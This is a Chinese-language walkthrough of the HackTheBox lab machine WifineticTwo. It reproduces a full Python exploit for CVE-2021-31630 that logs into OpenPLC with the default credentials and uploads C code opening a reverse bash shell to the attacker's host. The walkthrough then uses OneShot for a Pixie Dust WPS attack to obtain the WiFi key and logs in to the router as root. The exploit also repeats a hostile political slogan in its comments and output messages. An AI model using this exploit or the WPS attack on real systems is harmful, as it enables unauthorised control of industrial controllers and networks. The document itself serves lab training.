系统 | linux x86 |
ip | 10.10.11.7 |
web框架 | openplc |
开放端口 | 8080 22 |
这一题的最终目的是获取wifi的root权限,也就是进入路由器管理界面
先了解Pixie-dust attack攻击
Pixie-dust attack 是利用路由器芯片随机密钥(nonce)生成的漏洞,离线破解 WPS PIN 的一种无线攻击方案
详细了解可以去看
基于 Pixie-dust attack 的一次无线安全小测试 · Issue #3 · 2EXP/2exp.github.io
这个攻击似乎是基于路由器开启了wps才能攻击(如果理解错误还请帮忙指出)
最终我们需要获得的是wps psk
wps psk
在 WPA PSK 中,使用预共享密钥(Pre-Shared Key,PSK)来对无线网络进行加密,并确保只有知道该密钥的用户才能访问网络
使用 WPA PSK 时,用户需要在无线路由器上配置一个预共享密钥(通常是一个密码)。然后,所有连接到该网络的设备都需要使用相同的预共享密钥来加密和解密通信。这种方式确保了网络通信的保密性,因为只有知道预共享密钥的用户才能连接到网络
这种共享密匙并不是绝对安全的,可以使用暴力猜解的方式破解获得
get shell
openplc默认账户密码
openplc openplc
因为这一题我已经做过了,就直接拿shell不去做信息收集了
使用现成的nday去拿shell
监听12345端口
poc(此代码是在github上拉取的)
#!/usr/bin/env python3
import requests
import argparse
import signal
import time
import sys
# FUCK ISRAEL
parser = argparse.ArgumentParser(
description="this script for exploit CVE-2021-31630 PoC openplc for WifineticTwo box at hackthebox 'JUST for HACKTHEBOX /;' @71ntr"
)
parser.add_argument(
"-ip", type=str, default="10.*.*.*", help="ip address to listen on", required=True
)
parser.add_argument(
"-p", type=int, default=1337, help="port to listen on", required=True
)
parser.add_argument(
"-u", type=str, default="openplc", help="username of openPLC", required=True
)
parser.add_argument(
"-pwd", type=str, default="openplc", help="password of openPLC", required=True
)
args = parser.parse_args()
# FUCK ISRAEL
local_ip = args.ip
local_port = args.p
# FUCK ISRAEL
username = args.u
password = args.pwd
# FUCK ISRAEL
baseURL = "http://10.10.11.7:8080/"
# burp proxy
proxy = {"http": "127.0.0.1:8080"}
# FUCK ISRAEL
def signal_handler(sig, frame):
print("\n[!] You pressed Ctrl+C!")
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
# FUCK ISRAEL
headers2 = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "multipart/form-data; boundary=---------------------------3040215761330541470566170096",
"Origin": "http://10.10.11.7:8080/",
"Connection": "close",
"Referer": "http://10.10.11.7:8080/hardware",
}
# FUCK ISRAEL
# boundary = "---------------------------3040215761330541470566170096"
uploadRQ = f"""\
-----------------------------3040215761330541470566170096
Content-Disposition: form-data; name="hardware_layer"
blank_linux
-----------------------------3040215761330541470566170096
Content-Disposition: form-data; name="custom_layer_code"
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {{-1}};
int ignored_bool_outputs[] = {{-1}};
int ignored_int_inputs[] = {{-1}};
int ignored_int_outputs[] = {{-1}};
void initCustomLayer()
{{
}}
void updateCustomIn()
{{
}}
void updateCustomOut()
{{
int port = {local_port};
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("{local_ip}");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {{"bash", NULL}};
execvp("bash", argv);
return 0;
}}
-----------------------------3040215761330541470566170096--
"""
# headers = {'Content-Type': f'multipart/form-data; boundary={boundary.strip("-")}'}
# FUCK ISRAEL
with requests.Session() as session:
loginCREDS = {"username": username, "password": password}
LOGINresponse = session.post(baseURL + "/login", data=loginCREDS)
# LOGINresponse = session.post(loginURL, data=loginCREDS, proxies=proxy)
if LOGINresponse.ok and len(LOGINresponse.content) >= 34100:
print("[+] Logged in successfully. & FUCK ISRAEL")
responseUPLAOD = session.post(
baseURL + "/hardware", headers=headers2, data=uploadRQ.encode("utf-8")
)
anotherget = session.get(baseURL + "/compile-program?file=blank_program.st")
compiling = True
while compiling:
checkURL = baseURL+ "/compilation-logs"
check = session.get(checkURL)
if check.status_code == 200 and len(check.content) < 250:
print("[+] The compiling is running, checking again in 5 seconds...")
time.sleep(5)
elif check.status_code == 200 and len(check.content) >= 250:
print("[+] Exploit uplaoded successfully.")
print("[+] Gainng reverse shell.")
time.sleep(2)
print(f"[+] Check your listener & FUCK ISRAEL")
start = session.get(baseURL + "/start_plc")
compiling = False
else:
print(
f"[-] Unexpected status or response length. response body :\n{check.text}"
)
compiling = False
else:
print("[-] Login failed, check username and password!")
./exploit.py -ip 攻击机ip -p 监听的端口 -u 用户名 -pwd 密码
./1.py -ip 10.10.16.2 -p 12345 -u openplc -pwd openplc
拿到shell
wifi共享密匙暴力破解,进入路由器管理界面
这里使用oneshot对wifi进行Pixie Dust 攻击
OneShot-C/vulnwsc.txt at master · nikita-yfh/OneShot-C (github.com)
首先查看ifconfig
这里能得到三个接口
eth0:以太网接口lo:回环接口也就是127.0.0.1
wlan:无线接口,也就是wifi
将下载好并编译好的oneshot拉取到服务器上
攻击机开启python的http服务
这个机子因为没有wget所以使用curl -O拉取文件
先给oneshot加一个执行权限chmod +x oneshot
显示可用的网络并在指定网络上启动 Pixie Dust 攻击
./oneshot -i -K
出现信息以后再选择继续去攻击哪一条信息
输入1则是第一个
使用 systemd 和 wpa-supplicant 连接到 WiFi 网络
总的来说,systemd负责启动并管理wpa-supplicant服务,而wpa-supplicant负责处理WiFi网络的认证和连接过程,以及获取IP地址。这样,您的Linux系统就能够成功连接到WiFi网络并获取网络访问权限
在etc创建 wpa_supplicant 目录和 wpa_supplicant/wpa_supplicant-wlan0.conf 文件
wpa_supplicant-wlan0.conf 文件
这里的ssid和psk就是刚才获得的ap ssid和wpa psk
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
network={
ssid="<NETWORK_SSID>"
psk="<NETWORK_PASSWORD>"
key_mgmt=WPA-PSK
proto=WPA2
pairwise=CCMP TKIP
group=CCMP TKIP
scan_ssid=1
}
<NETWORK_SSID>和<NETWORK_PASSWORD>字段需要根据现有的网络配置进行更改。
创建 /etc/systemd/network/25-wlan.network 文件
[Match]
Name=wlan0
[Network]
DHCP=ipv4
启用 wlan0 接口的wpa_service
systemctl enable wpa_supplicant@wlan0.service
重新启动 systemd-networkd 和 wpa_supplicant 服务
systemctl restart systemd-networkd.service systemctl restart wpa_supplicant@wlan0.service
ip a查看接口状态,能看到以及被分配了IP地址
路由器都用过吧,一般默认路由器的IP地址为192.168.0.1或者192.168.1.1这些
尝试登录
ssh root@192.168.1.1
这个错误通常出现在您尝试通过SSH连接到远程服务器时,但命令被设置为使用非交互式输入。通常,SSH需要一个伪终端(pseudo-terminal)来分配给会话,以便进行交互式输入和输出。但是,由于stdin(标准输入)不是一个终端,所以无法分配伪终端,因此出现了这个错误。
第二个错误就是他进行了主机密钥验证
这里我先反弹了下shell
然后登陆的时候设置不验证主机密匙
ssh -o StrictHostKeyChecking=no root@192.168.1.1
登录成功直接去看root.txt